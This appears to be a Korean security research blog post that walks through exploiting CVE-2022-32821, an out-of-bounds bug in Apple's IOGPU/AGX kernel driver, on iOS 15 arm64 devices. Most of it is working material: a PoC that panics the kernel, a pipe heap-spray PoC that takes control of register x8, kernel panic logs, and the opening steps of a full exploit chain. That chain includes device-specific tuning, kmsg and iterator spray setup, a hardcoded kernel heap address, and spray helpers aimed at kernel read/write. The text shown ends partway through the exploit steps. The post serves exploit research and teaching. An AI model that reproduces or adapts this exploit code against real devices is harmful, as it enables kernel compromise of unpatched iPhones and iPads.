콘텐츠로 건너뛰기

CVE-2022-32821 익스플로잇해보기 (arm64)

버그 알아보기

해당 버그는 iOS/iPadOS 15.0부터 트리거 가능하며, 내가 갖고 있는 기기들중에 A9칩이 탑재된 아이폰6s에서는 버그 트리거가 불가능했다.

하지만 A10칩이 탑재된 아이패드 7세대에서는 버그 트리거 가능했으며, @potmdhex 보안 연구원께서 공개한HexaCon 2022 슬라이드 정보를 토대로 익스플로잇할 수 있게끔 만들어보았다.

Screenshot 2026-01-27 at 4.04.04 PM.png

슬라이드 자료에 따르면, 해당 버그는 IOGPU 드라이버 중 AGXShared::create_mtllateevalevent에서 Out-Of-Bounds에 의해 맵핑되지 않은 커널 공간에 접근하는데에서 문제가 발생한다.

직접 POC 코드를 한번 돌려보자.

  • poc.c
#include "iokit.h"
#include "piper.h"
#include "port_utils.h"
#include "spray.h"

io_connect_t IOGPU_init(void)
{
    mach_port_t mp = MACH_PORT_NULL;
    kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
    IOMasterPort(MACH_PORT_NULL, &mp);
    io_connect_t uc;

    io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("AGXAccelerator"));
    if (s == MACH_PORT_NULL)
    {
        return 0;
    }
    
    if (IOServiceOpen(s, mach_task_self(), 1, &uc) != KERN_SUCCESS)
    {
        return 0;
    }
    
    return uc;
}

uint32_t IOGPU_create_mtllateeventevent(io_connect_t uc)
{
    uint64_t Output[2] = {0};
    uint64_t OutputCount = 2;

    kern_return_t kr = IOConnectCallMethod(uc, 29, 0, 0, 0, 0, Output, &OutputCount, 0, 0);

    if (kr)
        return 0;
    
    return 1;
}

int main(int argc, char *argv[], char *envp[]) {     
    io_connect_t uc = IOGPU_init();
    printf("uc = 0x%x\n", uc);

    for(int i = 0; i < 2049; i++) {
        IOGPU_create_mtllateeventevent(uc);
    }

	return 0;
}

그러면 아래와 같이 패닉이 발생한다.

PC값을 확인해봤을떄, __ZN9AGXShared23create_mtllateevaleventEPy+0xC8 지점에서 크래시가 발생하였다.

IOPlatformPanicAction -> AppleEmbeddedNVMeController
IOPlatformPanicAction -> AppleARMWatchdogTimer
IOPlatformPanicAction -> AppleNubSynopsysOTG3Device
IOPlatformPanicAction -> AppleT8010MemCacheController
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> RTBuddy
panic(cpu 1 caller 0xfffffff01b7d6a8c): Kernel data abort. at pc 0xfffffff019d8d088, lr 0xfffffff019d8d038 (saved state: 0xffffffeb06a0b530)
          x0:  0x0000000000000001 x1:  0x00000000000001fc  x2:  0x00000000ffffffff  x3:  0xffffffe0001f4810
          x4:  0xffffffe3794b94c0 x5:  0xfffffff019d2a598  x6:  0xffffffe3793500e0  x7:  0x0000000000000000
          x8:  0xffffffe379239d40 x9:  0x00000000001fffff  x10: 0x0000000000000008  x11: 0x0000000000000800
          x12: 0xffffffe379239d50 x13: 0xffffffffffffffff  x14: 0x0000000000000000  x15: 0x00000000ffffffff
          x16: 0x0000000000000001 x17: 0x0000000000000800  x18: 0xfffffff01b145000  x19: 0xffffffe0f2b1ac00
          x20: 0xffffffeb06a0bb20 x21: 0xffffffe0f2fac800  x22: 0xffffffe0f3535800  x23: 0x00000000ffffffff
          x24: 0x0000000000000000 x25: 0x0000000000003ff8  x26: 0x00000000ffffffff  x27: 0x0000000000fffff8
          x28: 0xffffffe0f702728c fp:  0xffffffeb06a0b8d0  lr:  0xfffffff019d8d038  sp:  0xffffffeb06a0b880                                                
          pc:  0xfffffff019d8d088 cpsr: 0x60400204         esr: 0x96000007          far: 0xffffffe37a239d38
          //pc 0xfffffff019d8d088 __ZN9AGXShared23create_mtllateevaleventEPy+0xC8     
          //lr 0xfffffff019d8d038 __ZN9AGXShared23create_mtllateevaleventEPy+0x78                                           
                                                                                                                                                           
Debugger message: panic                                                       
Memory ID: 0xff                                         
OS release type: User
OS version: 19A346
Kernel version: Darwin Kernel Version 21.0.0: Sun Aug 15 20:55:57 PDT 2021; root:xnu-8019.12.5~1/RELEASE_ARM64_T8010
KernelCache UUID: 57691C393F521C02E8239112CC78465D
Kernel UUID: FD3DD515-ADD7-33E1-AB4B-CB6FDE03F919
iBoot version: pongoOS-2.6.3-7973456c
secure boot?: YES
Paniclog version: 13
Kernel slide:      0x0000000013fc8000
Kernel text base:  0xfffffff01afcc000
mach_absolute_time: 0x10bb54bb4
Epoch Time:        sec       usec
  Boot    : 0x69790352 0x000e4844
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x697903ef 0x000a159a

CORE 0: PC=0xfffffff01b1ad8f8, LR=0xfffffff01b1ad8f8, FP=0xffffffeb12a33ef0 //processor_idle+0x124
CORE 1 is the one that panicked. Check the full backtrace for details.
Panicked task 0xffffffe0f342e108: 210 pages, 1 threads: pid 300: poc
Panicked thread: 0xffffffe0f74fb140, backtrace: 0xffffffeb06a0acf0, tid: 3945
                  lr: 0xfffffff01b1802d8  fp: 0xffffffeb06a0ad30  //debugger_collect_diagnostics+0x184
                  lr: 0xfffffff01b180068  fp: 0xffffffeb06a0ada0  //handle_debugger_trap+0x278
                  lr: 0xfffffff01b2a16ec  fp: 0xffffffeb06a0ae20  //handle_uncategorized+0x100
                  lr: 0xfffffff01b2a0874  fp: 0xffffffeb06a0aed0  //sleh_synchronous+0x148
                  lr: 0xfffffff01b1455fc  fp: 0xffffffeb06a0aee0  //fleh_synchronous+0x28
                  lr: 0xfffffff01b17fd80  fp: 0xffffffeb06a0b270  //panic_trap_to_debugger+0x250
                  lr: 0xfffffff01b17fd80  fp: 0xffffffeb06a0b2d0  //panic_trap_to_debugger+0x250
                  lr: 0xfffffff01b7cfc98  fp: 0xffffffeb06a0b2f0  //panic+0x30
                  lr: 0xfffffff01b7d6a8c  fp: 0xffffffeb06a0b460  //panic_with_thread_kernel_state+0x108
                  lr: 0xfffffff01b2a10fc  fp: 0xffffffeb06a0b510  //sleh_synchronous+0x9d4
                  lr: 0xfffffff01b1455fc  fp: 0xffffffeb06a0b520  //fleh_synchronous+0x28
                  lr: 0xfffffff019d8d038  fp: 0xffffffeb06a0b8d0  //__ZN9AGXShared23create_mtllateevaleventEPy+0x78
                  lr: 0xfffffff01b762bb0  fp: 0xffffffeb06a0b930  //__ZN12IOUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv+0x1E0
                  lr: 0xfffffff01b76b4c4  fp: 0xffffffeb06a0bad0  //is_io_connect_method+0x2FC
                  lr: 0xfffffff01b270898  fp: 0xffffffeb06a0bbf0  //__Xio_connect_method+0x190
                  lr: 0xfffffff01b18503c  fp: 0xffffffeb06a0bc80  //ipc_kobject_server+0x344
                  lr: 0xfffffff01b15fb64  fp: 0xffffffeb06a0bcf0  //ipc_kmsg_send+0x17C
                  lr: 0xfffffff01b174dec  fp: 0xffffffeb06a0bd80  //mach_msg_overwrite_trap+0xEC
                  lr: 0xfffffff01b29712c  fp: 0xffffffeb06a0be60  //mach_syscall+0x19C
                  lr: 0xfffffff01b2a0d44  fp: 0xffffffeb06a0bf10  //sleh_synchronous+0x618
                  lr: 0xfffffff01b1455fc  fp: 0xffffffeb06a0bf20  //fleh_synchronous+0x28

** Stackshot Succeeded ** Bytes Traced 143125 (Uncompressed 371728) **
IOPlatformPanicAction -> AppleEmbeddedNVMeController
IOPlatformPanicAction -> AppleARMWatchdogTimer
IOPlatformPanicAction -> AppleNubSynopsysOTG3Device
IOPlatformPanicAction -> AppleT8010MemCacheController
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> AppleEmbeddedNVMeController
IOPlatformPanicAction -> AppleARMWatchdogTimer
IOPlatformPanicAction -> AppleNubSynopsysOTG3Device
IOPlatformPanicAction -> AppleT8010MemCacheController
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> RTBuddy

Please go to https://panic.apple.com to report this panic

x8 값에서 x27값을 더한 주소의 메모리 주소를 참고하려는데, 아직 맵핑되지 않은 공간이어서 패닉이 발생하는거였다. 따라서 “Kernel data abort” 패닉이 발생한다.

여기서 알 수 있는 사실은 0xffffffe3XXXXXXXX 주소를 참고하려고 했다는 것이다. 이는 할당된 커널 주소(=x8)로부터 0xfffff8(=x27 값)을 더해 떨어진 주소에 접근하려고 했다는 것을 의미한다.

커널 힙 스프레이를 충분히 여러번한다면 패닉없이 제어 가능할 것이다.

Drawing 2026-01-28 14.57.22.excalidraw-fs8.png

슬라이드 추가정보에 따르면 초기 할당된 커널 주소는 IOMalloc_external 호출에 의해 default/kext.kalloc.576 존으로부터 할당받았다는 것이다.

Screenshot 2026-01-28 at 4.23.47 PM.png

실제로 xnuspy를 통해 커널을 후킹해서 확인해보면, 내부적으로 AGXFirmwareResourceStack::replaceStorageArrays에서 커널 메모리를 할당한다. IOMalloc_external 호출을 통해 528(=0x210)크기만큼 할당받는데, default.kalloc.576 존으로부터 할당받는다.

  • kernhook 소스코드 및 실행 결과

https://github.com/wh1te4ever/xnu_1day_practice/blob/edd231a7df04f857f4b51dcee98c21dffcdfe6bb/CVE-2022-32821/research_ipad7_150/kernhook/main.c

...
[  115.012000]: [kernhook] create_mtllateevalevent caller: 0xfffffff00779abb0
[  115.012007]: [kernhook] create_mtllateevalevent kret = 0x0, AGXShared = 0xffffffe0f38e9600, a2 = 0xffffffeb06afbb20, caller = 0xfffffff00779abb0
[  115.012066]: [kernhook] IOMalloc_external caller: 0xfffffff005da5440
[  115.012073]: [kernhook] IOMalloc_external kret = 0xffffffe378d7f180, sz = 0x210
[  115.012079]: [kernhook] replaceStorageArrays kret = 0x1, AGXFirmwareResourceStack = 0xffffffe0f368fba8, a2 = 0x2, caller = 0xfffffff005da4790
[  115.012083]: [kernhook] growResourceStack caller: 0xfffffff005dc5038
[  115.012090]: [kernhook] growResourceStack kret = 0x1, AGXFirmwareResourceStack = 0xffffffe0f368fba8, caller = 0xfffffff005dc5038
[  115.012098]: [kernhook] panic_trap_to_debugger called due to panic, spinning here for a little bit...
  • 함수 호출 추적

__ZN9AGXShared23create_mtllateevaleventEPy__ZN24AGXFirmwareResourceStackIy16AGXLateEvalEventE17growResourceStackEv__ZN24AGXFirmwareResourceStackIy16AGXLateEvalEventE20replaceStorageArraysEjj__IOMalloc_external_18

Drawing 2026-01-28 16.35.41.excalidraw-fs8.png

AGXFirmwareResourceStack::replaceStorageArrays에서 IOMalloc_external에 의해 할당받은 주소는 위 내용을 보다시피 0xffffffe378d7f180이었다.

그리고 poc를 실행시켜 패닉 로그를 다시 살펴보면, 실제로 할당받은 주소가 x8 레지스터 값과 동일하다. 이전에 말했다시피, 여기서 맵핑되지 않은 x8+0xfffff8 주소에 접근하려다보니 패닉이 발생한다.

panic(cpu 1 caller 0xfffffff0107a6a8c)
   Kernel data abort. at pc 0xfffffff00ed5d088, lr 0xfffffff00ed5d038 (saved state: 0xffffffeb06afb4c0)
      x0:  0x0000000000000001 x1:  0xffffffeb06afb300  x2:  0x0000000000000000  x3:  0x0000000000000000
      x4:  0x0000000000000000 x5:  0x00ffffff0000ffff  x6:  0xfffffff005dc5038  x7:  0x0000000000000000
      x8:  0xffffffe378d7f180 x9:  0x00000000001fffff  x10: 0x0000000000000008  x11: 0xffffffeb05160000
      x12: 0x00000000000000ff x13: 0x000000000000007f  x14: 0x0000000000000001  x15: 0xed07932700000000
      x16: 0x000000000000003c x17: 0x0000000100000040  x18: 0xfffffff010115000  x19: 0xffffffe0f33cd440
      x20: 0xffffffeb06afbb20 x21: 0xffffffe0f38e9600  x22: 0xffffffe0f368f000  x23: 0x00000000ffffffff
      x24: 0x0000000000000000 x25: 0x0000000000003ff8  x26: 0x00000000ffffffff  x27: 0x0000000000fffff8
      x28: 0xffffffe0f3eecf8c fp:  0xffffffeb06afb860  lr:  0xfffffff00ed5d038  sp:  0xffffffeb06afb810
      pc:  0xfffffff00ed5d088 cpsr: 0x60400204         esr: 0x96000007          far: 0xffffffe379d7f178

Debugger Message:      panic
Memory ID:             0xff
OS Release Type:       User
OS Version:            19A346
Kernel Version:        Darwin Kernel Version 21.0.0: Sun Aug 15 20:55:57 PDT 2021; root:xnu-8019.12.5~1/RELEASE_ARM64_T8010
KernelCache UUID:      57691C393F521C02E8239112CC78465D
Kernel UUID:           FD3DD515-ADD7-33E1-AB4B-CB6FDE03F919
iBoot Version:         pongoOS-2.6.3-7973456c
Secure Boot:           true
Paniclog Version:      13
Kernel Slide:          0x8f98000
Kernel Text Base:      0xfffffff00ff9c000
Mach Absolute Time:    0xa7b3d955

그렇다면, data.kalloc.16384 존으로 여러번 할당받아 데이터를 제어할 수 있는 파이프를 만들어보는건 어떨까?

아래 poc2.c 코드는 980개의 파이프를 생성시킨다음, 각 파이프마다 0x4000크기만큼 커널 할당받되 모두 0x4142434445464748로 채운 데이터들로 스프레이하고 취약점을 트리거시킨다.

  • poc2.c
#include "iokit.h"
#include "piper.h"
#include "port_utils.h"
#include "spray.h"

io_connect_t IOGPU_init(void)
{
    mach_port_t mp = MACH_PORT_NULL;
    kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
    IOMasterPort(MACH_PORT_NULL, &mp);
    io_connect_t uc;

    io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("AGXAccelerator"));
    if (s == MACH_PORT_NULL)
    {
        return 0;
    }
    
    if (IOServiceOpen(s, mach_task_self(), 1, &uc) != KERN_SUCCESS)
    {
        return 0;
    }
    
    return uc;
}

uint32_t IOGPU_create_mtllateeventevent(io_connect_t uc)
{
    uint64_t Output[2] = {0};
    uint64_t OutputCount = 2;

    kern_return_t kr = IOConnectCallMethod(uc, 29, 0, 0, 0, 0, Output, &OutputCount, 0, 0);

    if (kr)
        return 0;
    
    return 1;
}

int main(int argc, char *argv[], char *envp[]) {

    // prepare spray stuffs
    increase_file_limit();
    size_t pipe_count = 980;
    size_t pipe_buffer_size = 0x4000;
    uint8_t *pipe_buffer = (uint8_t *)malloc(pipe_buffer_size);
    int *pipefds = create_pipes(&pipe_count);
    uint64_t val = 0x4142434445464748;
    memset_pattern8(pipe_buffer, &val, pipe_buffer_size);
    pipe_spray(pipefds, pipe_count, pipe_buffer, pipe_buffer_size, NULL);

    //trigger bug
    io_connect_t uc = IOGPU_init();
    printf("uc = 0x%x\n", uc);

    for(int i = 0; i < 2049; i++) {
        IOGPU_create_mtllateeventevent(uc);
    }

	return 0;
}

그러면 더이상 맵핑되지 않은 커널 주소에 접근하여 패닉이 발생하는 문제는 없어진다!

바로 그다음 명령어에서 패닉이 발생하지만, x8 레지스터를 성공적으로 제어시켰다.

IOPlatformPanicAction -> AppleEmbeddedNVMeController
IOPlatformPanicAction -> AppleARMWatchdogTimer
IOPlatformPanicAction -> AppleNubSynopsysOTG3Device
IOPlatformPanicAction -> AppleT8010MemCacheController
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> RTBuddy
panic(cpu 0 caller 0xfffffff026e8aa8c): Kernel data abort. at pc 0xfffffff02544108c, lr 0xfffffff025441038 (saved state: 0xffffffeb06afb530)
          x0:  0x0000000000000001 x1:  0x00000000000001fc  x2:  0x00000000ffffffff  x3:  0xffffffe000340810
          x4:  0xffffffe3796eddc0 x5:  0xfffffff0253de598  x6:  0xffffffe379630ae0  x7:  0x0000000000000000
          x8:  0x4142434445464748 x9:  0x00000000001fffff  x10: 0x0000000000000008  x11: 0x0000000000000800
          x12: 0xffffffe379691f90 x13: 0xffffffffffffffff  x14: 0x0000000000000000  x15: 0x00000000ffffffff
          x16: 0x0000000000000001 x17: 0x0000000000000800  x18: 0xfffffff0267f9000  x19: 0xffffffe0f805f960
          x20: 0xffffffeb06afbb20 x21: 0xffffffe0f3079400  x22: 0xffffffe0f2eff000  x23: 0x00000000ffffffff
          x24: 0x0000000000000000 x25: 0x0000000000003ff8  x26: 0x00000000ffffffff  x27: 0x0000000000fffff8
          x28: 0xffffffe0f643ce8c fp:  0xffffffeb06afb8d0  lr:  0xfffffff025441038  sp:  0xffffffeb06afb880
          pc:  0xfffffff02544108c cpsr: 0x60400204         esr: 0x96000004          far: 0x4142434445464758
          //pc 0xfffffff02544108c __ZN9AGXShared23create_mtllateevaleventEPy+0xCC
          //lr 0xfffffff025441038 __ZN9AGXShared23create_mtllateevaleventEPy+0x78

Debugger message: panic
Memory ID: 0xff
OS release type: User
OS version: 19A346
Kernel version: Darwin Kernel Version 21.0.0: Sun Aug 15 20:55:57 PDT 2021; root:xnu-8019.12.5~1/RELEASE_ARM64_T8010
KernelCache UUID: 57691C393F521C02E8239112CC78465D
Kernel UUID: FD3DD515-ADD7-33E1-AB4B-CB6FDE03F919
iBoot version: pongoOS-2.6.3-7973456c
secure boot?: YES
Paniclog version: 13
Kernel slide:      0x000000001f67c000
Kernel text base:  0xfffffff026680000
mach_absolute_time: 0x6e750cbc
Epoch Time:        sec       usec
  Boot    : 0x6979099c 0x000b9e82
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x697909cb 0x00018499

CORE 0 is the one that panicked. Check the full backtrace for details.
CORE 1: PC=0xfffffff025c7b464, LR=0xfffffff025c7b440, FP=0xffffffeb12073270     //PC=_make_dirent_iterator+0x1EC; LR=_make_dirent_iterator+0x1C8;
Panicked task 0xffffffe0f7b61a90: 210 pages, 1 threads: pid 280: poc
Panicked thread: 0xffffffe0f7b264f0, backtrace: 0xffffffeb06afacf0, tid: 3226
                  lr: 0xfffffff0268342d8  fp: 0xffffffeb06afad30    //debugger_collect_diagnostics+0x184
                  lr: 0xfffffff026834068  fp: 0xffffffeb06afada0    //handle_debugger_trap+0x278
                  lr: 0xfffffff0269556ec  fp: 0xffffffeb06afae20    //handle_uncategorized+0x100
                  lr: 0xfffffff026954874  fp: 0xffffffeb06afaed0    //sleh_synchronous+0x148
                  lr: 0xfffffff0267f95fc  fp: 0xffffffeb06afaee0    //fleh_synchronous+0x28
                  lr: 0xfffffff026833d80  fp: 0xffffffeb06afb270    //panic_trap_to_debugger+0x250
                  lr: 0xfffffff026833d80  fp: 0xffffffeb06afb2d0    //panic_trap_to_debugger+0x250
                  lr: 0xfffffff026e83c98  fp: 0xffffffeb06afb2f0    //panic+0x30
                  lr: 0xfffffff026e8aa8c  fp: 0xffffffeb06afb460    //panic_with_thread_kernel_state+0x108
                  lr: 0xfffffff0269550fc  fp: 0xffffffeb06afb510    //sleh_synchronous+0x9d4
                  lr: 0xfffffff0267f95fc  fp: 0xffffffeb06afb520    //fleh_synchronous+0x28
                  lr: 0xfffffff025441038  fp: 0xffffffeb06afb8d0    //__ZN9AGXShared23create_mtllateevaleventEPy+0x78
                  lr: 0xfffffff026e16bb0  fp: 0xffffffeb06afb930    //__ZN12IOUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv+0x1E0
                  lr: 0xfffffff026e1f4c4  fp: 0xffffffeb06afbad0    //is_io_connect_method+0x2FC
                  lr: 0xfffffff026924898  fp: 0xffffffeb06afbbf0    //__Xio_connect_method+0x190
                  lr: 0xfffffff02683903c  fp: 0xffffffeb06afbc80    //ipc_kobject_server+0x344
                  lr: 0xfffffff026813b64  fp: 0xffffffeb06afbcf0    //ipc_kmsg_send+0x17C
                  lr: 0xfffffff026828dec  fp: 0xffffffeb06afbd80    //mach_msg_overwrite_trap+0xEC
                  lr: 0xfffffff02694b12c  fp: 0xffffffeb06afbe60    //mach_syscall+0x19C
                  lr: 0xfffffff026954d44  fp: 0xffffffeb06afbf10    //sleh_synchronous+0x618
                  lr: 0xfffffff0267f95fc  fp: 0xffffffeb06afbf20    //fleh_synchronous+0x28

** Stackshot Succeeded ** Bytes Traced 209775 (Uncompressed 538320) **
IOPlatformPanicAction -> AppleEmbeddedNVMeController
IOPlatformPanicAction -> AppleARMWatchdogTimer
IOPlatformPanicAction -> AppleNubSynopsysOTG3Device
IOPlatformPanicAction -> AppleT8010MemCacheController
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> AppleEmbeddedNVMeController
IOPlatformPanicAction -> AppleARMWatchdogTimer
IOPlatformPanicAction -> AppleNubSynopsysOTG3Device
IOPlatformPanicAction -> AppleT8010MemCacheController
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> RTBuddy

Please go to https://panic.apple.com to report this panic

패닉이 아래 그림과 같이 발생하지만, v18을 충분히 제어할 수 있다.

제어하는데 성공한다면, 2가지의 이점을 가진다.

79줄: ((void (__fastcall **)(__int64))((_QWORD *)v18 + 0x20LL))(v18);

82줄: (_QWORD )(v6 + 0xC0) = ((__int64 (__fastcall **)(_QWORD))(**(_QWORD **)(v19 + 0x10) + 0x90LL))((_QWORD *)(v19 + 0x10))

  • KASLR leak이 가능하다는 점에 한해서, 임의 커널 함수 호출이 가능할 것이다.

81줄: ++*(_DWORD *)v19;

  • 특정 커널 주소에 1씩 증가시키는 프리미티브를 획득할 수 있다.

Drawing 2026-01-28 17.11.00.excalidraw-fs8.png

슬라이드 정보에 따르면, kmsg의 descriptor count를 1 증가시켜서 default.kalloc.16384 존으로부터 할당받은 OOL 포트 디스크립터에 대한 커널 할당을 임의로 해제시켜서 익스플로잇하는 방법을 안내한다.

Screenshot 2026-01-28 at 5.25.38 PM.png

그리고 KASLR leak이 불가능하다는 전제하에서 임의커널 함수 호출을 했을때, 패닉이 발생하지 않게 생존하는 방법을 설명해주셨다.

arm64 기기의 경우 IORegistryCreateIterator 호출을 여러번하여, vtable이 있는 C++ 할당 객체를 여러번 스프레이시키는 것이다.

Screenshot 2026-01-28 at 5.28.21 PM.png

덕분에, 위 2가지의 아이디어를 통해 커널 읽기/쓰기까지 달성할 수 있는 영감을 떠오르게끔 만들어주었다.

익스플로잇 방법

이전에 내용을 다뤘던 “[실습] CVE-2021-30937(multicast_bytecopy) 이해하기 (macOS 12.0.1/iOS 15)” 글에서 익스플로잇 테크닉 기술을 가져왔기 때문에, 해당 내용에 대해서는 생략할 것이다. 대신 바로 참고할 수 있도록 링크를 걸어두겠다.

1. IOGPU_get_command_queue_extra_refills_needed

int exploit(void) {
    // different by device, retrieve it first and fail if unsuccessful
    extra_frees_for_device = IOGPU_get_command_queue_extra_refills_needed();
    if (extra_frees_for_device == -1)
    {
        printf("Exiting early, provide correct number 1-5 in the code for this device to proceed\n");
        return 1;
    }
    ...

}

int IOGPU_get_command_queue_extra_refills_needed(void)
{
    struct utsname u;
    uname(&u);
    
    // iPhone 6S
    // iPhone 7
    // iPhone 11
    // iPhone 12
    // iPhone 13
    // iPad 7th gen
    if (
       strstr(u.machine, "iPhone8,")
    || strstr(u.machine, "iPhone9,")
    || strstr(u.machine, "iPhone12,")
    || strstr(u.machine, "iPhone13,")
    || strstr(u.machine, "iPhone14,")
    || strstr(u.machine, "iPad7,")
    )
    {
        return 1;
    }
    // iPhone 8, X
    // iPhone XS, XR
    else if (
       strstr(u.machine, "iPhone10,")
    || strstr(u.machine, "iPhone11,")
    )
    {
        return 3;
    }
    
    printf("IOGPU_get_command_queue_extra_refills_needed(): Unknown device %s! May panic in generic part until correct number 1-5 is provided for this device!\n", u.machine);
    
    return -1;
}

2. kmsg, 파이프, IORegistryCreateIterator 스프레이 준비

나중에 더 자세히 설명할 예정이지만, 커널 메모리를 임의로 해제할 여러 포트 배열들을 저장할 공간, IORegistryCreateIterator 호출에 의해 채워질 포트 공간, 그리고 파이프 버퍼 공간 – 이렇게 3가지를 미리 준비한다. 또, 파이프 스프레이를 위해 현재 프로세스의 파일 디스크립터 제한을 10240으로 증가시킨다.

스프레이하면서 앞으로 차지하게될 커널의 할당크기에 대해 알아보자면,

kmsg의 경우, default.kalloc.16384와 data.kalloc.16384 존으로부터 0x1800(=PORTS_COUNT)번만큼 할당받으므로 각각 약 100M(16384 * 0x1800 = 100663296)씩 커널 메모리를 차지하게 될 것이다.

IORegistryCreateIterator 스프레이의 경우, IOUserIterator 객체를 위해 0x20크기만큼 차지하면서, 또 내부적으로는 IORegistryIterator 객체를 생성하는데 0x50크기만큼 차지한다. 단순히 vftable 포인터값이 있는 IORegistryIterator 객체만 살펴본다면, 0x1c000번만큼 스프레이하기 때문에 약 9M(0x50 * 0x1c000 = 9175040) 정도 차지하게 될 것이다.

마지막으로, 총 980번 파이프를 생성하고 (0x4000-1)크기만큼 write시키므로, data.kalloc.16384존으로부터 980번 만큼 할당받는다. 따라서 16M(16384 * 980 = 16056320)만큼 차지하게 될 것이다.

mach_port_t *it = NULL;
mach_port_t notif_port = MACH_PORT_NULL;
mach_port_t *kheap_default_ports = NULL;
mach_port_t *kheap_data_ports = NULL;
uint8_t *IOSurfaceClient_array_buf = NULL;
int kheap_data_idx = -1;
int extra_frees_for_device = -1;
io_connect_t iogpu_connect = MACH_PORT_NULL;

#define PORTS_COUNT 0x1800
#define KMSG_SIZE 0x3F80 // the low 0x80 byte of this size will be copied to corrupt the message bits (setting 0x80000000, MACH_MSGH_BITS_COMPLEX)

int exploit(void) {
    ...
    kheap_data_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
    kheap_default_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
    mach_port_t *contained_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
    mach_port_t *ool_ports = malloc(0x4000);
    uint8_t *kheap_data_spray_buf = malloc(0x4000);
    memset(kheap_data_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
    memset(kheap_default_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
    memset(contained_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
    memset(ool_ports, 0, 0x4000);
    memset(kheap_data_spray_buf, 0, 0x4000);
    increase_file_limit();

    // iterator stuffs
    int it_count = 0x1c000;   //TODO.. about 8 MB+ spray
	  it = malloc(it_count * sizeof(mach_port_t));

    // spray stuffs
    size_t pipe_count = 980;
    size_t pipe_buffer_size = 0x4000;
    uint8_t *pipe_buffer = (uint8_t *)malloc(pipe_buffer_size);
    void* recv_buf = malloc(pipe_buffer_size);
    ...
    
}

void increase_file_limit() {
    struct rlimit rl = {};
    getrlimit(RLIMIT_NOFILE, &rl);
    rl.rlim_cur = 10240;
    rl.rlim_max = rl.rlim_cur;
    setrlimit(RLIMIT_NOFILE, &rl);
}

3. 스프레이

3-1. 파이프 스프레이

취약점을 트리거했을때, __ZN9AGXShared23create_mtllateevaleventEPy+0xC8 지점에서 맵핑되지 않은 x8+0xfffff8 주소에 접근하는 것에 대해 패닉이 발생하지 않기 위해서 아래 코드와 같이 파이프 스프레이시킨다.

파이프 버퍼 내용은 x8 레지스터 값을 컨트롤하는데 있어서 중요한데, 여러 kheap_data_ports 들중에 어느 포트가 영향을 미치는지 확인하기 위해 ikm_header+0x50 지점을 가리키도록 만들었다.

지금은 아니지만 나중에 kmsg를 스프레이할때, spray_data_kalloc_kmsg_single를 여러번 호출시킴으로써 data.kalloc.16384존으로부터 여러번 할당받게될 것이다.

프로파일링해서 높은 확률로 해당 할당지점을 가리키도록 KHEAP_DATA_MAPPABLE_LOC 값을 구한다음, 거기서+0x50을 가리키게 만들면 된다.

#define KHEAP_DATA_MAPPABLE_LOC 0xffffffe37da60000  //ikm_header

int exploit(void) {
    ...
    // STEP 1: spray pipe
    int *pipefds = create_pipes(&pipe_count);
    
    uint64_t x8 = (KHEAP_DATA_MAPPABLE_LOC+0x50);  // x8 will be Pointed here.  //com.apple.AGXG9P:__text:FFFFFFF005DC508C     LDR X0, [X8,#0x10]
    memset_pattern8(pipe_buffer, &x8, pipe_buffer_size);

    pipe_spray(pipefds, pipe_count, pipe_buffer, pipe_buffer_size, NULL);
    ...
}

int *
create_pipes(size_t *pipe_count) {
    // Allocate our initial array.
    size_t capacity = *pipe_count;
    int *pipefds = calloc(2 * capacity, sizeof(int));
    assert(pipefds != NULL);
    // Create as many pipes as we can.
    size_t count = 0;
    for (; count < capacity; count++) {
        // First create our pipe fds.
        int fds[2] = { -1, -1 };
        int error = pipe(fds);
        // Unfortunately pipe() seems to return success with invalid fds once we've
        // exhausted the file limit. Check for this.
        if (error != 0 || fds[0] < 0 || fds[1] < 0) {
            pipe_close(fds);
            break;
        }
        // Mark the write-end as nonblocking.
        //set_nonblock(fds[1]);
        // Store the fds.
        pipefds[2 * count + 0] = fds[0];
        pipefds[2 * count + 1] = fds[1];
    }
    assert(count == capacity && "can't alloc enough pipe fds");
    // Truncate the array to the smaller size.
    int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));
    assert(new_pipefds != NULL);
    // Return the count and the array.
    *pipe_count = count;
    return new_pipefds;
}

size_t
pipe_spray(const int *pipefds, size_t pipe_count,
        void *pipe_buffer, size_t pipe_buffer_size,
        void (^update)(uint32_t pipe_index, void *data, size_t size)) {
    assert(pipe_count <= 0xffffff);
    size_t write_size = pipe_buffer_size - 1;
    size_t pipes_filled = 0;
    for (size_t i = 0; i < pipe_count; i++) {
        // printf("writing now = 0x%x\n", i);

        // Update the buffer.
        if (update != NULL) {
            update((uint32_t)i, pipe_buffer, pipe_buffer_size);
        }
        
        int wfd = pipefds[2 * i + 1];
        int rfd = pipefds[2 * i];
        set_nonblock(wfd);
        set_nonblock(rfd);

        // Fill the write-end of the pipe with the buffer. Leave off the last byte.
        ssize_t written = write(wfd, pipe_buffer, write_size);
        // printf("written = 0x%x\n", written);
        if (written != write_size) {
            // printf("written = 0x%x, write_size = 0x%x\n", written, write_size);
            // This is most likely because we've run out of pipe buffer memory. None of
            // the subsequent writes will work either.
            break;
        }
        pipes_filled++;
    }
    return pipes_filled;
}

파이프 스프레이하고 취약점 트리거할시, x8이 가리키는 곳은 아래 그림과 같을 것이다.

Drawing 2026-01-28 17.11.00.excalidraw 1-fs8.png

